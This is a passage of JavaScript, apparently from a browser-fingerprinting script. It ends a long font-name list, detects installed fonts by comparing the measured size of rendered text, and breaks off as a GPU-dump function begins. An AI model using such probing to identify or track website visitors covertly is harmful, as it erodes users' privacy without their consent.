'BrowalliaUPC Bold Italic', 'BrowalliaUPC Italic', 'Brush Script MT Italic', 'C059', 'Caladea', 'Caladings CLM', 'Calibri Bold', 'Calibri Bold Italic', 'Calibri Italic', 'Calibri Light', 'Calibri Light Italic', 'Cambria Bold', 'Cambria Bold Italic', 'Cambria Italic', 'Candara Bold', 'Candara Bold Italic', 'Candara Italic', 'Candara Light', 'Candara Light Italic', 'Cantarell Extra Bold', 'Cantarell Light', 'Cantarell Thin', 'Carlito', 'Century Schoolbook L', 'Chalkboard Bold', 'Chalkboard SE Bold', 'Chalkboard SE Light', 'Chalkboard SE Regular', 'Charcoal CY', 'Charter Black', 'Charter Black Italic', 'Charter Bold', 'Charter Bold Italic', 'Charter Italic', 'Charter Roman', 'Cochin Bold', 'Cochin Bold Italic', 'Cochin Italic', 'Comfortaa Light', 'Comic Sans MS Bold', 'Comic Sans MS Bold Italic', 'Comic Sans MS Italic', 'Consolas Bold', 'Consolas Bold Italic', 'Consolas Italic', 'Constantia Bold', 'Constantia Bold Italic', 'Constantia Italic', 'Copperplate Bold', 'Copperplate Light', 'Corbel Bold', 'Corbel Bold Italic', 'Corbel Italic', 'Corbel Light', 'Corbel Light Italic', 'Cordia New Bold', 'Cordia New Bold Italic', 'Cordia New Italic', 'CordiaUPC Bold', 'CordiaUPC Bold Italic', 'CordiaUPC Italic', 'Corsiva Hebrew Bold', 'Cortoba', 'Courier 10 Pitch', 'Courier Bold', 'Courier Bold Oblique', 'Courier New Bold', 'Courier New Bold Italic', 'Courier New Italic', 'Courier Oblique', 'D050000L', 'DIN Alternate Bold', 'DIN Condensed Bold', 'Damascus Bold', 'Damascus Light', 'Damascus Medium', 'Damascus Regular', 'Damascus Semi Bold', 'David Bold', 'David CLM', 'DecoType Naskh Regular', 'DejaVu Math TeX Gyre', 'DejaVu Sans Condensed', 'DejaVu Sans Light', 'DengXian', 'DengXian Bold', 'DengXian Light', 'Devanagari MT Bold', 'Devanagari Sangam MN Bold', 'Didot Bold', 'Didot Italic', 'DilleniaUPC Bold', 'DilleniaUPC Bold Italic', 'DilleniaUPC Italic', 'Dimnah', 'Dingbats', 'Diwan Kufi Regular', 'Diwan Mishafi', 'Diwan Thuluth Regular', 'Droid Arabic Kufi', 'Droid Sans Armenian', 'Droid Sans Devanagari', 'Droid Sans Ethiopic', 'Droid Sans Georgian', 'Droid Sans Hebrew', 'Droid Sans Japanese', 'Droid Sans Mono', 'Droid Sans Tamil', 'Droid Sans Thai', 'Drugulin CLM', 'Ebrima Bold', 'Electron', 'Ellinia CLM', 'EmojiOne Mozilla', 'Estrangelo Edessa', 'EucrosiaUPC Bold', 'EucrosiaUPC Bold Italic', 'EucrosiaUPC Italic', 'Euphemia UCAS Bold', 'Euphemia UCAS Italic', 'Ezra SIL', 'Ezra SIL SR', 'Farah Regular', 'Farisi Regular', 'Frank Ruehl CLM', 'Franklin Gothic Medium', 'Franklin Gothic Medium Italic', 'FreesiaUPC Bold', 'FreesiaUPC Bold Italic', 'FreesiaUPC Italic', 'Furat', 'Futura Bold', 'Futura Condensed ExtraBold', 'Futura Condensed Medium', 'Futura Medium', 'Futura Medium Italic', 'Gadugi Bold', 'Gautami Bold', 'Gayathri Thin', 'Geeza Pro Bold', 'Geeza Pro Regular', 'Geneva CY', 'Georgia Bold', 'Georgia Bold Italic', 'Georgia Italic', 'Georgia Pro', 'Georgia Pro Black', 'Georgia Pro Black Italic', 'Georgia Pro Bold', 'Georgia Pro Bold Italic', 'Georgia Pro Cond', 'Georgia Pro Cond Black', 'Georgia Pro Cond Black Italic', 'Georgia Pro Cond Bold', 'Georgia Pro Cond Bold Italic', 'Georgia Pro Cond Italic', 'Georgia Pro Cond Light', 'Georgia Pro Cond Light Italic', 'Georgia Pro Cond Semibold', 'Georgia Pro Cond Semibold Italic', 'Georgia Pro Italic', 'Georgia Pro Light', 'Georgia Pro Light Italic', 'Georgia Pro Semibold', 'Georgia Pro Semibold Italic', 'Gill Sans Bold', 'Gill Sans Bold Italic', 'Gill Sans Italic', 'Gill Sans Light', 'Gill Sans Light Italic', 'Gill Sans Nova', 'Gill Sans Nova Bold', 'Gill Sans Nova Bold Italic', 'Gill Sans Nova Cond', 'Gill Sans Nova Cond Bold', 'Gill Sans Nova Cond Bold Italic', 'Gill Sans Nova Cond Italic', 'Gill Sans Nova Cond Lt', 'Gill Sans Nova Cond Lt Italic', 'Gill Sans Nova Cond Ultra Bold', 'Gill Sans Nova Cond XBd', 'Gill Sans Nova Cond XBd Italic', 'Gill Sans Nova Italic', 'Gill Sans Nova Light', 'Gill Sans Nova Light Italic', 'Gill Sans Nova Ultra Bold', 'Gill Sans SemiBold', 'Gill Sans SemiBold Italic', 'Gill Sans UltraBold', 'Gisha Bold', 'Granada', 'Graph', 'Gujarati MT Bold', 'Gujarati Sangam MN Bold', 'GungSeo Regular', 'Gurmukhi MN Bold', 'Gurmukhi Sangam MN Bold', 'Hadasim CLM', 'Hani', 'Hannotate SC Bold', 'Hannotate SC Regular', 'Hannotate TC Bold', 'Hannotate TC Regular', 'HanziPen SC Bold', 'HanziPen SC Regular', 'HanziPen TC Bold', 'HanziPen TC Regular', 'Haramain', 'HeadLineA Regular', 'Hei Regular', 'Heiti SC Light', 'Heiti SC Medium', 'Heiti TC Light', 'Heiti TC Medium', 'Helvetica Bold', 'Helvetica Bold Oblique', 'Helvetica CY Bold', 'Helvetica CY BoldOblique', 'Helvetica CY Oblique', 'Helvetica CY Plain', 'Helvetica Light', 'Helvetica Light Oblique', 'Helvetica Neue Bold', 'Helvetica Neue Bold Italic', 'Helvetica Neue Condensed Black', 'Helvetica Neue Condensed Bold', 'Helvetica Neue Italic', 'Helvetica Neue Light', 'Helvetica Neue Light Italic', 'Helvetica Neue Medium', 'Helvetica Neue Medium Italic', 'Helvetica Neue Thin', 'Helvetica Neue Thin Italic', 'Helvetica Neue UltraLight', 'Helvetica Neue UltraLight Italic', 'Helvetica Oblique', 'Hiragino Kaku Gothic Pro W3', 'Hiragino Kaku Gothic Pro W6', 'Hiragino Kaku Gothic ProN W3', 'Hiragino Kaku Gothic ProN W6', 'Hiragino Kaku Gothic Std W8', 'Hiragino Kaku Gothic StdN W8', 'Hiragino Maru Gothic Pro W4', 'Hiragino Maru Gothic ProN', 'Hiragino Maru Gothic ProN W4', 'Hiragino Mincho Pro W3', 'Hiragino Mincho Pro W6', 'Hiragino Mincho ProN W3', 'Hiragino Mincho ProN W6', 'Hiragino Sans CNS W3', 'Hiragino Sans CNS W6', 'Hiragino Sans GB W3', 'Hiragino Sans GB W6', 'Hiragino Sans W0', 'Hiragino Sans W1', 'Hiragino Sans W2', 'Hiragino Sans W3', 'Hiragino Sans W4', 'Hiragino Sans W5', 'Hiragino Sans W6', 'Hiragino Sans W7', 'Hiragino Sans W8', 'Hiragino Sans W9', 'Hoefler Text Black', 'Hoefler Text Black Italic', 'Hoefler Text Italic', 'Hoefler Text Ornaments', 'HoloLens MDL2 Assets', 'Homa', 'Hor', 'ITF Devanagari Bold', 'ITF Devanagari Book', 'ITF Devanagari Demi', 'ITF Devanagari Light', 'ITF Devanagari Marathi', 'ITF Devanagari Marathi Bold', 'ITF Devanagari Marathi Book', 'ITF Devanagari Marathi Demi', 'ITF Devanagari Marathi Light', 'ITF Devanagari Marathi Medium', 'ITF Devanagari Medium', 'InaiMathi Bold', 'Ink Free', 'Iowan Old Style Black', 'Iowan Old Style Black Italic', 'Iowan Old Style Bold', 'Iowan Old Style Bold Italic', 'Iowan Old Style Italic', 'Iowan Old Style Roman', 'Iowan Old Style Titling', 'IrisUPC Bold', 'IrisUPC Bold Italic', 'IrisUPC Italic', 'Iskoola Pota Bold', 'Japan', 'JasmineUPC Bold', 'JasmineUPC Bold Italic', 'JasmineUPC Italic', 'Jet', 'KacstArt', 'Kai Regular', 'Kailasa Bold', 'Kailasa Regular', 'Kaiti SC Black', 'Kaiti SC Bold', 'Kaiti SC Regular', 'Kaiti TC Black', 'Kaiti TC Bold', 'Kaiti TC Regular', 'Kalinga Bold', 'Kannada MN Bold', 'Kannada Sangam MN Bold', 'Kartika Bold', 'Kayrawan', 'Kefa Bold', 'Kefa Regular', 'Keter YG', 'Keyboard', 'Khalid', 'Khmer MN Bold', 'Khmer OS', 'Khmer OS Battambang', 'Khmer OS Bokor', 'Khmer OS Content', 'Khmer OS Fasthand', 'Khmer OS Freehand', 'Khmer OS Metal Chrieng', 'Khmer OS Muol', 'Khmer OS Muol Light', 'Khmer OS Muol Pali', 'Khmer OS Siemreap', 'Khmer OS System', 'Khmer UI Bold', 'Klee Demibold', 'Klee Medium', 'KodchiangUPC Bold', 'KodchiangUPC Bold Italic', 'KodchiangUPC Italic', 'Kohinoor Bangla Bold', 'Kohinoor Bangla Light', 'Kohinoor Bangla Medium', 'Kohinoor Bangla Semibold', 'Kohinoor Devanagari', 'Kohinoor Devanagari Bold', 'Kohinoor Devanagari Light', 'Kohinoor Devanagari Medium', 'Kohinoor Devanagari Regular', 'Kohinoor Devanagari Semibold', 'Kohinoor Telugu Bold', 'Kohinoor Telugu Light', 'Kohinoor Telugu Medium', 'Kohinoor Telugu Semibold', 'Kokila Bold', 'Kokila Bold Italic', 'Kokila Italic', 'Kokonor Regular', 'KufiStandardGK Regular', 'Lantinghei SC Demibold', 'Lantinghei SC Extralight', 'Lantinghei SC Heavy', 'Lantinghei TC Demibold', 'Lantinghei TC Extralight', 'Lantinghei TC Heavy', 'Lao MN Bold', 'Lao UI Bold', 'LastResort', 'Latha Bold', 'Leelawadee Bold', 'Leelawadee UI', 'Leelawadee UI Bold', 'Leelawadee UI Semilight', 'Levenim MT Bold', 'LiHei Pro', 'LiSong Pro', 'Libian SC Regular', 'Libian TC Regular', 'LilyUPC Bold', 'LilyUPC Bold Italic', 'LilyUPC Italic', 'LingWai SC Medium', 'LingWai TC Medium', 'Lohit Bengali', 'Lohit Tamil Classical', 'Lucida Grande Bold', 'Malayalam MN', 'Malayalam MN Bold', 'Malayalam Sangam MN Bold', 'Malgun Gothic Bold', 'Malgun Gothic Semilight', 'Mangal Bold', 'Manjari Thin', 'Marion Bold', 'Marion Italic', 'Marion Regular', 'Marker Felt Thin', 'Marker Felt Wide', 'Mashq', 'Mashq-Bold', 'Meiryo Bold', 'Meiryo Bold Italic', 'Meiryo Italic', 'Meiryo UI Bold', 'Meiryo UI Bold Italic', 'Meiryo UI Italic', 'Menlo Bold', 'Menlo Bold Italic', 'Menlo Italic', 'Menlo Regular', 'Microsoft JhengHei Bold', 'Microsoft JhengHei Light', 'Microsoft JhengHei Regular', 'Microsoft JhengHei UI Bold', 'Microsoft JhengHei UI Light', 'Microsoft JhengHei UI Regular', 'Microsoft New Tai Lue Bold', 'Microsoft PhagsPa Bold', 'Microsoft Tai Le Bold', 'Microsoft Uighur Bold', 'Microsoft YaHei Bold', 'Microsoft YaHei Light', 'Microsoft YaHei UI Bold', 'Microsoft YaHei UI Light', 'Mingzat', 'Miriam CLM', 'Miriam Mono CLM', 'Mishafi Gold Regular', 'Mishafi Regular', 'Montserrat Black', 'Montserrat ExtraBold', 'Montserrat ExtraLight', 'Montserrat Light', 'Montserrat Medium', 'Montserrat SemiBold', 'Montserrat Thin', 'Mshtakan Bold', 'Mshtakan BoldOblique', 'Mshtakan Oblique', 'Mukti Narrow Bold', 'Muna Black', 'Muna Bold', 'Muna Regular', 'Myanmar MN Bold', 'Myanmar Sangam MN Bold', 'Myanmar Text Bold', 'Myriad Arabic', 'Myriad Arabic Black', 'Myriad Arabic Black Italic', 'Myriad Arabic Bold', 'Myriad Arabic Bold Italic', 'Myriad Arabic Italic', 'Myriad Arabic Light', 'Myriad Arabic Light Italic', 'Myriad Arabic Semibold', 'Myriad Arabic Semibold Italic', 'Nachlieli CLM', 'Nada', 'Nadeem Regular', 'Nagham', 'NanumGothic Bold', 'NanumGothic ExtraBold', 'NanumMyeongjo', 'NanumMyeongjo Bold', 'NanumMyeongjo ExtraBold', 'Nazli', 'Neue Haas Grotesk Text Pro', 'Neue Haas Grotesk Text Pro Bold', 'Neue Haas Grotesk Text Pro Bold Italic', 'Neue Haas Grotesk Text Pro Italic', 'Neue Haas Grotesk Text Pro Medium', 'Neue Haas Grotesk Text Pro Medium Italic', 'New Peninim MT Bold', 'New Peninim MT Bold Inclined', 'New Peninim MT Inclined', 'Nice', 'Nimbus Mono L', 'Nimbus Roman No9 L', 'Nimbus Sans L', 'Nirmala UI Bold', 'Nirmala UI Semilight', 'Noteworthy Bold', 'Noteworthy Light', 'Noto Emoji', 'Noto Kufi Arabic', 'Noto Sans Adlam', 'Noto Sans Adlam Unjoined', 'Noto Sans Anatolian Hieroglyphs', 'Noto Sans Arabic', 'Noto Sans Avestan', 'Noto Sans Balinese', 'Noto Sans Bamum', 'Noto Sans Batak', 'Noto Sans Brahmi', 'Noto Sans Buhid', 'Noto Sans CJK HK Black', 'Noto Sans CJK HK DemiLight', 'Noto Sans CJK HK Light', 'Noto Sans CJK HK Medium', 'Noto Sans CJK HK Thin', 'Noto Sans CJK JP', 'Noto Sans CJK JP Black', 'Noto Sans CJK JP DemiLight', 'Noto Sans CJK JP Light', 'Noto Sans CJK JP Medium', 'Noto Sans CJK JP Thin', 'Noto Sans CJK KR Black', 'Noto Sans CJK KR DemiLight', 'Noto Sans CJK KR Light', 'Noto Sans CJK KR Medium', 'Noto Sans CJK KR Thin', 'Noto Sans CJK SC', 'Noto Sans CJK SC Black', 'Noto Sans CJK SC DemiLight', 'Noto Sans CJK SC Light', 'Noto Sans CJK SC Medium', 'Noto Sans CJK SC Regular', 'Noto Sans CJK SC Thin', 'Noto Sans CJK TC', 'Noto Sans CJK TC Black', 'Noto Sans CJK TC DemiLight', 'Noto Sans CJK TC Light', 'Noto Sans CJK TC Medium', 'Noto Sans CJK TC Thin', 'Noto Sans Carian', 'Noto Sans Chakma', 'Noto Sans Cham', 'Noto Sans Coptic', 'Noto Sans Cuneiform', 'Noto Sans Cypriot', 'Noto Sans Deseret', 'Noto Sans Display', 'Noto Sans Egyptian Hieroglyphs', 'Noto Sans Glagolitic', 'Noto Sans Gothic', 'Noto Sans Hanunoo', 'Noto Sans Imperial Aramaic', 'Noto Sans Inscriptional Pahlavi', 'Noto Sans Inscriptional Parthian', 'Noto Sans Javanese', 'Noto Sans Kaithi', 'Noto Sans Kayah Li', 'Noto Sans Kharoshthi', 'Noto Sans Lepcha', 'Noto Sans Limbu', 'Noto Sans Linear B', 'Noto Sans Lisu', 'Noto Sans Lycian', 'Noto Sans Lydian', 'Noto Sans Mandaic', 'Noto Sans Meetei Mayek', 'Noto Sans Mono', 'Noto Sans Mono CJK HK', 'Noto Sans Mono CJK KR', 'Noto Sans Mono CJK TC', 'Noto Sans NKo', 'Noto Sans New Tai Lue', 'Noto Sans Ogham', 'Noto Sans Ol Chiki', 'Noto Sans Old Italic', 'Noto Sans Old Persian', 'Noto Sans Old South Arabian', 'Noto Sans Old Turkic', 'Noto Sans Osage', 'Noto Sans Osmanya', 'Noto Sans Phags Pa', 'Noto Sans Phoenician', 'Noto Sans Rejang', 'Noto Sans Runic', 'Noto Sans Samaritan', 'Noto Sans Saurashtra', 'Noto Sans Shavian', 'Noto Sans Sundanese', 'Noto Sans Syloti Nagri', 'Noto Sans Symbols', 'Noto Sans Symbols2', 'Noto Sans Syriac Eastern', 'Noto Sans Syriac Estrangela', 'Noto Sans Syriac Western', 'Noto Sans Tagalog', 'Noto Sans Tagbanwa', 'Noto Sans Tai Le', 'Noto Sans Tai Tham', 'Noto Sans Tai Viet', 'Noto Sans Tifinagh', 'Noto Sans Ugaritic', 'Noto Sans Vai', 'Noto Serif Bengali', 'Noto Serif CJK JP Black', 'Noto Serif CJK JP ExtraLight', 'Noto Serif CJK JP Light', 'Noto Serif CJK JP Medium', 'Noto Serif CJK JP SemiBold', 'Noto Serif CJK KR', 'Noto Serif CJK KR Black', 'Noto Serif CJK KR ExtraLight', 'Noto Serif CJK KR Light', 'Noto Serif CJK KR Medium', 'Noto Serif CJK KR SemiBold', 'Noto Serif CJK SC Black', 'Noto Serif CJK SC ExtraLight', 'Noto Serif CJK SC Light', 'Noto Serif CJK SC Medium', 'Noto Serif CJK SC SemiBold', 'Noto Serif CJK TC', 'Noto Serif CJK TC Black', 'Noto Serif CJK TC ExtraLight', 'Noto Serif CJK TC Light', 'Noto Serif CJK TC Medium', 'Noto Serif CJK TC SemiBold', 'Noto Serif Devanagari', 'Noto Serif Display', 'Noto Serif Ethiopic', 'Noto Serif Georgian', 'Noto Serif Gujarati', 'Noto Serif Hebrew', 'Noto Serif Kannada', 'Noto Serif Malayalam', 'Noto Serif Myanmar', 'Noto Serif Sinhala', 'Noto Serif Tamil', 'Noto Serif Telugu', 'Nuosu SIL', 'Optima Bold', 'Optima Bold Italic', 'Optima ExtraBlack', 'Optima Italic', 'Optima Regular', 'Oriya MN Bold', 'Oriya Sangam MN Bold', 'Osaka', 'Osaka-Mono', 'Ostorah', 'Ouhod', 'Ouhod-Bold', 'P052', 'PCMyungjo Regular', 'PT Mono Bold', 'PT Sans Bold', 'PT Sans Bold Italic', 'PT Sans Caption Bold', 'PT Sans Italic', 'PT Sans Narrow Bold', 'PT Serif Bold', 'PT Serif Bold Italic', 'PT Serif Caption Italic', 'PT Serif Italic', 'PakType Naskh Basic', 'Palatino Bold', 'Palatino Bold Italic', 'Palatino Italic', 'Palatino Linotype Bold', 'Palatino Linotype Bold Italic', 'Palatino Linotype Italic', 'Papyrus Condensed', 'Petra', 'Phosphate Inline', 'Phosphate Solid', 'PilGi Regular', 'PingFang HK Light', 'PingFang HK Medium', 'PingFang HK Regular', 'PingFang HK Semibold', 'PingFang HK Thin', 'PingFang HK Ultralight', 'PingFang SC', 'PingFang SC Light', 'PingFang SC Medium', 'PingFang SC Regular', 'PingFang SC Semibold', 'PingFang SC Thin', 'PingFang SC Ultralight', 'PingFang TC', 'PingFang TC Light', 'PingFang TC Medium', 'PingFang TC Regular', 'PingFang TC Semibold', 'PingFang TC Thin', 'PingFang TC Ultralight', 'Raanana Bold', 'Raavi Bold', 'Rasa Light', 'Rasa Medium', 'Rasa SemiBold', 'Rasheeq', 'Rasheeq-Bold', 'Rehan', 'Rockwell Bold', 'Rockwell Bold Italic', 'Rockwell Italic', 'Rockwell Nova', 'Rockwell Nova Bold', 'Rockwell Nova Bold Italic', 'Rockwell Nova Cond', 'Rockwell Nova Cond Bold', 'Rockwell Nova Cond Bold Italic', 'Rockwell Nova Cond Italic', 'Rockwell Nova Cond Light', 'Rockwell Nova Cond Light Italic', 'Rockwell Nova Extra Bold', 'Rockwell Nova Extra Bold Italic', 'Rockwell Nova Italic', 'Rockwell Nova Light Italic', 'Rockwell Nova Rockwell', 'STFangsong', 'STHeiti', 'STIX', 'STIX Math', 'STIX Two Math', 'STIX Two Text', 'STIX Two Text Bold', 'STIX Two Text Bold Italic', 'STIX Two Text Italic', 'STIXGeneral-Bold', 'STIXGeneral-BoldItalic', 'STIXGeneral-Italic', 'STIXGeneral-Regular', 'STIXIntegralsD-Bold', 'STIXIntegralsD-Regular', 'STIXIntegralsSm-Bold', 'STIXIntegralsSm-Regular', 'STIXIntegralsUp-Bold', 'STIXIntegralsUp-Regular', 'STIXIntegralsUpD-Bold', 'STIXIntegralsUpD-Regular', 'STIXIntegralsUpSm-Bold', 'STIXIntegralsUpSm-Regular', 'STIXNonUnicode', 'STIXNonUnicode-Bold', 'STIXNonUnicode-BoldItalic', 'STIXNonUnicode-Italic', 'STIXNonUnicode-Regular', 'STIXSizeFiveSym-Regular', 'STIXSizeFourSym-Bold', 'STIXSizeFourSym-Regular', 'STIXSizeOneSym-Bold', 'STIXSizeOneSym-Regular', 'STIXSizeThreeSym-Bold', 'STIXSizeThreeSym-Regular', 'STIXSizeTwoSym-Bold', 'STIXSizeTwoSym-Regular', 'STIXVariants-Bold', 'STIXVariants-Regular', 'STKaiti', 'STXihei', 'Sakkal Majalla Bold', 'Salem', 'Samyak Malayalam', 'Sana Regular', 'Sanskrit Text', 'Savoye LET Plain CC.:1.0', 'Savoye LET Plain:1.0', 'Segoe MDL2 Assets', 'Segoe Print Bold', 'Segoe Pseudo', 'Segoe Script Bold', 'Segoe UI Black', 'Segoe UI Black Italic', 'Segoe UI Bold', 'Segoe UI Bold Italic', 'Segoe UI Historic', 'Segoe UI Italic', 'Segoe UI Light Italic', 'Segoe UI Semibold Italic', 'Segoe UI Semilight', 'Segoe UI Semilight Italic', 'Seravek', 'Seravek Bold', 'Seravek Bold Italic', 'Seravek ExtraLight', 'Seravek ExtraLight Italic', 'Seravek Italic', 'Seravek Light', 'Seravek Light Italic', 'Seravek Medium', 'Seravek Medium Italic', 'Shado', 'Sharjah', 'Shofar', 'Shonar Bangla Bold', 'Shree Devanagari 714', 'Shree Devanagari 714 Bold', 'Shree Devanagari 714 Bold Italic', 'Shree Devanagari 714 Italic', 'Shruti Bold', 'SignPainter-HouseScript', 'SignPainter-HouseScript Semibold', 'Simple CLM', 'Simplified Arabic Bold', 'Sindbad', 'Sinhala MN', 'Sinhala MN Bold', 'Sinhala Sangam MN Bold', 'Sitka Banner Bold', 'Sitka Banner Bold Italic', 'Sitka Banner Italic', 'Sitka Display Bold', 'Sitka Display Bold Italic', 'Sitka Display Italic', 'Sitka Heading Bold', 'Sitka Heading Bold Italic', 'Sitka Heading Italic', 'Sitka Small Bold', 'Sitka Small Bold Italic', 'Sitka Small Italic', 'Sitka Subheading Bold', 'Sitka Subheading Bold Italic', 'Sitka Subheading Italic', 'Sitka Text Bold', 'Sitka Text Bold Italic', 'Sitka Text Italic', 'Skia Black', 'Skia Black Condensed', 'Skia Black Extended', 'Skia Bold', 'Skia Condensed', 'Skia Extended', 'Skia Light', 'Skia Light Condensed', 'Skia Light Extended', 'Skia Regular', 'Snell Roundhand Black', 'Snell Roundhand Bold', 'Songti SC Black', 'Songti SC Bold', 'Songti SC Light', 'Songti SC Regular', 'Songti TC Bold', 'Songti TC Light', 'Songti TC Regular', 'Source Code Pro Black', 'Source Code Pro ExtraLight', 'Source Code Pro Light', 'Source Code Pro Medium', 'Source Code Pro Semibold', 'Stam Ashkenaz CLM', 'Stam Sefarad CLM', 'Standard Symbols L', 'Standard Symbols PS', 'Sukhumvit Set Bold', 'Sukhumvit Set Light', 'Sukhumvit Set Medium', 'Sukhumvit Set Semi Bold', 'Sukhumvit Set Text', 'Sukhumvit Set Thin', 'Superclarendon Black', 'Superclarendon Black Italic', 'Superclarendon Bold', 'Superclarendon Bold Italic', 'Superclarendon Italic', 'Superclarendon Light', 'Superclarendon Light Italic', 'Superclarendon Regular', 'Symbola', 'System Font Bold', 'System Font Regular', 'Tahoma Bold', 'Tahoma Negreta', 'Tamil MN Bold', 'Tamil Sangam MN Bold', 'Tarablus', 'Telugu MN Bold', 'Telugu Sangam MN Bold', 'Tholoth', 'Thonburi Bold', 'Thonburi Light', 'Times Bold', 'Times Bold Italic', 'Times Italic', 'Times New Roman Bold', 'Times New Roman Bold Italic', 'Times New Roman Italic', 'Times Roman', 'Titr', 'Toppan Bunkyu Gothic Demibold', 'Toppan Bunkyu Gothic Regular', 'Toppan Bunkyu Midashi Gothic Extrabold', 'Toppan Bunkyu Midashi Mincho Extrabold', 'Toppan Bunkyu Mincho Regular', 'Traditional Arabic Bold', 'Trebuchet MS Bold', 'Trebuchet MS Bold Italic', 'Trebuchet MS Italic', 'Tsukushi A Round Gothic Bold', 'Tsukushi A Round Gothic Regular', 'Tsukushi B Round Gothic Bold', 'Tsukushi B Round Gothic Regular', 'Tunga Bold', 'Twemoji Mozilla', 'UD Digi Kyokasho', 'UD Digi Kyokasho N-B', 'UD Digi Kyokasho N-R', 'UD Digi Kyokasho NK-B', 'UD Digi Kyokasho NK-R', 'UD Digi Kyokasho NP-B', 'UD Digi Kyokasho NP-R', 'UKIJ 3D', 'UKIJ Basma', 'UKIJ Bom', 'UKIJ CJK', 'UKIJ Chechek', 'UKIJ Chiwer Kesme', 'UKIJ Diwani', 'UKIJ Diwani Kawak', 'UKIJ Diwani Tom', 'UKIJ Diwani Yantu', 'UKIJ Ekran', 'UKIJ Elipbe', 'UKIJ Elipbe_Chekitlik', 'UKIJ Esliye', 'UKIJ Esliye Chiwer', 'UKIJ Esliye Neqish', 'UKIJ Esliye Qara', 'UKIJ Esliye Tom', 'UKIJ Imaret', 'UKIJ Inchike', 'UKIJ Jelliy', 'UKIJ Junun', 'UKIJ Kawak', 'UKIJ Kawak 3D', 'UKIJ Kesme', 'UKIJ Kesme Tuz', 'UKIJ Kufi', 'UKIJ Kufi 3D', 'UKIJ Kufi Chiwer', 'UKIJ Kufi Gul', 'UKIJ Kufi Kawak', 'UKIJ Kufi Tar', 'UKIJ Kufi Uz', 'UKIJ Kufi Yay', 'UKIJ Kufi Yolluq', 'UKIJ Mejnun', 'UKIJ Mejnuntal', 'UKIJ Merdane', 'UKIJ Moy Qelem', 'UKIJ Nasq', 'UKIJ Nasq Zilwa', 'UKIJ Orqun Basma', 'UKIJ Orqun Yazma', 'UKIJ Orxun-Yensey', 'UKIJ Qara', 'UKIJ Qolyazma', 'UKIJ Qolyazma Tez', 'UKIJ Qolyazma Tuz', 'UKIJ Qolyazma Yantu', 'UKIJ Ruqi', 'UKIJ Saet', 'UKIJ Sulus', 'UKIJ Sulus Tom', 'UKIJ Teng', 'UKIJ Tiken', 'UKIJ Title', 'UKIJ Tor', 'UKIJ Tughra', 'UKIJ Tuz', 'UKIJ Tuz Basma', 'UKIJ Tuz Gezit', 'UKIJ Tuz Kitab', 'UKIJ Tuz Neqish', 'UKIJ Tuz Qara', 'UKIJ Tuz Tom', 'UKIJ Tuz Tor', 'UKIJ Zilwa', 'UKIJ_Mac Basma', 'UKIJ_Mac Ekran', 'URW Bookman', 'URW Bookman L', 'URW Chancery L', 'URW Gothic', 'URW Gothic L', 'URW Palladio L', 'Ubuntu Light', 'Ubuntu Thin', 'Urdu Typesetting Bold', 'Utsaah Bold', 'Utsaah Bold Italic', 'Utsaah Italic', 'Vani Bold', 'Verdana Bold', 'Verdana Bold Italic', 'Verdana Italic', 'Verdana Pro', 'Verdana Pro Black', 'Verdana Pro Black Italic', 'Verdana Pro Bold', 'Verdana Pro Bold Italic', 'Verdana Pro Cond', 'Verdana Pro Cond Black', 'Verdana Pro Cond Black Italic', 'Verdana Pro Cond Bold', 'Verdana Pro Cond Bold Italic', 'Verdana Pro Cond Italic', 'Verdana Pro Cond Light', 'Verdana Pro Cond Light Italic', 'Verdana Pro Cond SemiBold', 'Verdana Pro Cond SemiBold Italic', 'Verdana Pro Italic', 'Verdana Pro Light', 'Verdana Pro Light Italic', 'Verdana Pro SemiBold', 'Verdana Pro SemiBold Italic', 'Vijaya Bold', 'Vrinda Bold', 'Waseem Light', 'Waseem Regular', 'Wawati SC Regular', 'Wawati TC Regular', 'Weibei SC Bold', 'Weibei TC Bold', 'Xingkai SC Bold', 'Xingkai SC Light', 'Xingkai TC Bold', 'Xingkai TC Light', 'Yehuda CLM', 'Yrsa Light', 'Yrsa Medium', 'Yrsa SemiBold', 'Yu Gothic Bold', 'Yu Gothic Light', 'Yu Gothic Medium', 'Yu Gothic Regular', 'Yu Gothic UI', 'Yu Gothic UI Bold', 'Yu Gothic UI Light', 'Yu Gothic UI Regular', 'Yu Gothic UI Semibold', 'Yu Gothic UI Semilight', 'Yu Mincho', 'Yu Mincho Demibold', 'Yu Mincho Light', 'Yu Mincho Regular', 'YuGothic Bold', 'YuGothic Medium', 'YuKyokasho Bold', 'YuKyokasho Medium', 'YuKyokasho Yoko Bold', 'YuKyokasho Yoko Medium', 'YuMincho +36p Kana Demibold', 'YuMincho +36p Kana Extrabold', 'YuMincho +36p Kana Medium', 'YuMincho Demibold', 'YuMincho Extrabold', 'YuMincho Medium', 'Yuanti SC Bold', 'Yuanti SC Light', 'Yuanti SC Regular', 'Yuanti TC Bold', 'Yuanti TC Light', 'Yuanti TC Regular', 'Yuppy SC Regular', 'Yuppy TC Regular', 'Z003', 'aakar', 'padmaa-Bold.1.1', 'padmmaa', 'utkal', 'מרים', 'गार्गी', 'नालिमाटी', 'অনি Dvf', 'মিত্র', 'মুক্তি', 'মুক্তি পাতনা', '宋体', '微软雅黑', `新細明`, `굴림`, `굴림체`, `바탕`, `MS ゴシック`, `MS 明朝`, `MS Pゴシック`, `MS P明朝`];

                    const baseFonts = ['sans-serif', 'serif', 'monospace'];
                    const baseWidth = {};
                    const baseHeight = {};

                    for (let font of baseFonts) {
                        const span = document.createElement('span');
                        span.innerHTML = 'mmmmmmmmmmlli';
                        span.style.fontSize = '72px';
                        span.style.fontFamily = font;

                        // noinspection JSCheckFunctionSignatures
                        document.body.appendChild(span);
                        baseWidth[font] = span.offsetWidth;
                        baseHeight[font] = span.offsetHeight;

                        result.push({
                            name: font,
                            exists: 2,
                        });

                        // noinspection JSCheckFunctionSignatures
                        document.body.removeChild(span);
                    }

                    await smoothForEach(extraFonts, 15, (font) => {
                        let exists = 0;
                        for (const baseFont of baseFonts) {
                            const span = document.createElement('span');
                            span.innerHTML = 'mmmmmmmmmmlli';
                            span.style.fontSize = '72px';
                            span.style.fontFamily = font + ',' + baseFont;
                            // noinspection JSCheckFunctionSignatures
                            document.body.appendChild(span);

                            const sizeNotTheSame =
                                span.offsetWidth !== baseWidth[baseFont]
                            || span.offsetHeight !== baseHeight[baseFont];

                            exists = sizeNotTheSame ? 1 : 0;

                            // noinspection JSCheckFunctionSignatures
                            document.body.removeChild(span);

                            if (sizeNotTheSame) {
                                break;
                            }
                        }

                        if (exists) {
                            result.push({
                                name: font,
                                exists: exists,
                            });
                        }
                    });

                    return result;
                };

                // gpu
                const dumpGpu = async () => {
                    const result = {};
                    try {
